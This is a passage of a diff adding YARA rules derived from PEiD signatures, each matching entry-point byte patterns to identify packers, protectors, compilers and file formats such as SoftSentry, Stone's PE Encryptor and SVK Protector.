7A 15 ?? ?? 8D 85 88 0F ?? ?? 50 E8}
+    condition:
+        $a
+}
+rule PEiD_02124_SoftProtect____www_softprotect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> www.softprotect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+
+rule PEiD_02125_SoftSentry_v2_11_
+{
+    meta:
+        description = "[SoftSentry v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+    condition:
+        $a
+}
+
+rule PEiD_02126_SoftSentry_v3_0_
+{
+    meta:
+        description = "[SoftSentry v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+    condition:
+        $a
+}
+rule PEiD_02127_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02128_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02129_Software_Compress_v1_2____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.2 -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+    condition:
+        $a
+}
+
+rule PEiD_02130_Software_Compress_V1_2____BG_Software_Protect_Technologies_
+{
+    meta:
+        description = "[Software Compress V1.2 -> BG Software Protect Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+    condition:
+        $a
+}
+rule PEiD_02131_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+    condition:
+        $a
+}
+
+rule PEiD_02132_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+    condition:
+        $a
+}
+
+rule PEiD_02133_SoftWrap_
+{
+    meta:
+        description = "[SoftWrap]"
+        ep_only = "true"
+    strings:
+        $a = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+    condition:
+        $a
+}
+rule PEiD_02134_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+    condition:
+        $a
+}
+
+rule PEiD_02135_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F}
+    condition:
+        $a
+}
+
+rule PEiD_02136_Spalsher_1_0___3_0____Amok_
+{
+    meta:
+        description = "[Spalsher 1.0 - 3.0 -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02137_Spalsher_v1_0___v3_0_
+{
+    meta:
+        description = "[Spalsher v1.0 - v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+    condition:
+        $a
+}
+rule PEiD_02138_SPEC_b2_
+{
+    meta:
+        description = "[SPEC b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+    condition:
+        $a
+}
+
+rule PEiD_02139_SPEC_b3_
+{
+    meta:
+        description = "[SPEC b3]"
+        ep_only = "true"
+    strings:
+        $a = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+    condition:
+        $a
+}
+rule PEiD_02140_Special_EXE_Password_Protector_v1_0_
+{
+    meta:
+        description = "[Special EXE Password Protector v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+    condition:
+        $a
+}
+
+rule PEiD_02141_Special_EXE_Pasword_Protector_1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector 1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_02142_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+    condition:
+        $a
+}
+rule PEiD_02143_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00}
+    condition:
+        $a
+}
+rule PEiD_02144_Splash_Bitmap_v1_00__With_Unpack_Code_____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 (With Unpack Code) -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+    condition:
+        $a
+}
+rule PEiD_02145_Splash_Bitmap_v1_00____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+    condition:
+        $a
+}
+rule PEiD_02146_SPLayer_v0_08_
+{
+    meta:
+        description = "[SPLayer v0.08]"
+        ep_only = "false"
+    strings:
+        $a = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02147_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC}
+    condition:
+        $a
+}
+rule PEiD_02148_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+    condition:
+        $a
+}
+rule PEiD_02149_ST_Protector_V1_5____Silent_Software_
+{
+    meta:
+        description = "[ST Protector V1.5 -> Silent Software]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02150_StarForce_Protection_Driver____Protection_Technology__h__
+{
+    meta:
+        description = "[StarForce Protection Driver -> Protection Technology (h)]"
+        ep_only = "true"
+    strings:
+        $a = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+/*
+rule PEiD_02151_StarForce_V3_X____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_02152_StarForce_V3_X_DLL____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X DLL -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_02153_Stealth_PE_v1_1_
+{
+    meta:
+        description = "[Stealth PE v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+    condition:
+        $a
+}
+
+rule PEiD_02154_STNPEE_1_13_
+{
+    meta:
+        description = "[STNPEE 1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02155_Stone_s_PE_Encryptor_v1_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+    condition:
+        $a
+}
+rule PEiD_02156_Stone_s_PE_Encryptor_v1_13_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+    condition:
+        $a
+}
+rule PEiD_02157_Stone_s_PE_Encryptor_v2_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+    condition:
+        $a
+}
+rule PEiD_02158_Stone_s_PE_Encruptor_v1_13_
+{
+    meta:
+        description = "[Stone`s PE Encruptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+    condition:
+        $a
+}
+
+rule PEiD_02159_Stony_Brook_Pascal_v6_14_
+{
+    meta:
+        description = "[Stony Brook Pascal v6.14]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+    condition:
+        $a
+}
+rule PEiD_02160_Stony_Brook_Pascal__v7_0_
+{
+    meta:
+        description = "[Stony Brook Pascal+ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+    condition:
+        $a
+}
+/*
+rule PEiD_02161_Stranik_1_3_Modula_C_Pascal_
+{
+    meta:
+        description = "[Stranik 1.3 Modula/C/Pascal]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_02162_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4}
+    condition:
+        $a
+}
+rule PEiD_02163_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+    condition:
+        $a
+}
+rule PEiD_02164_SuckStop_v1_11_
+{
+    meta:
+        description = "[SuckStop v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+    condition:
+        $a
+}
+
+rule PEiD_02165_Sun_Icon_Graphics_format_
+{
+    meta:
+        description = "[Sun Icon Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {2F 2A 20 46 6F 72 6D 61 74 5F 76 65 72 73 69 6F 6E 3D 31 2C}
+    condition:
+        $a
+}
+
+rule PEiD_02166_SuperDAT_
+{
+    meta:
+        description = "[SuperDAT]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+rule PEiD_02167_SVK_Protector_1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+
+rule PEiD_02168_SVK_Protector_1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+rule PEiD_02169_SVK_Protector_v1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02170_SVK_Protector_v1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
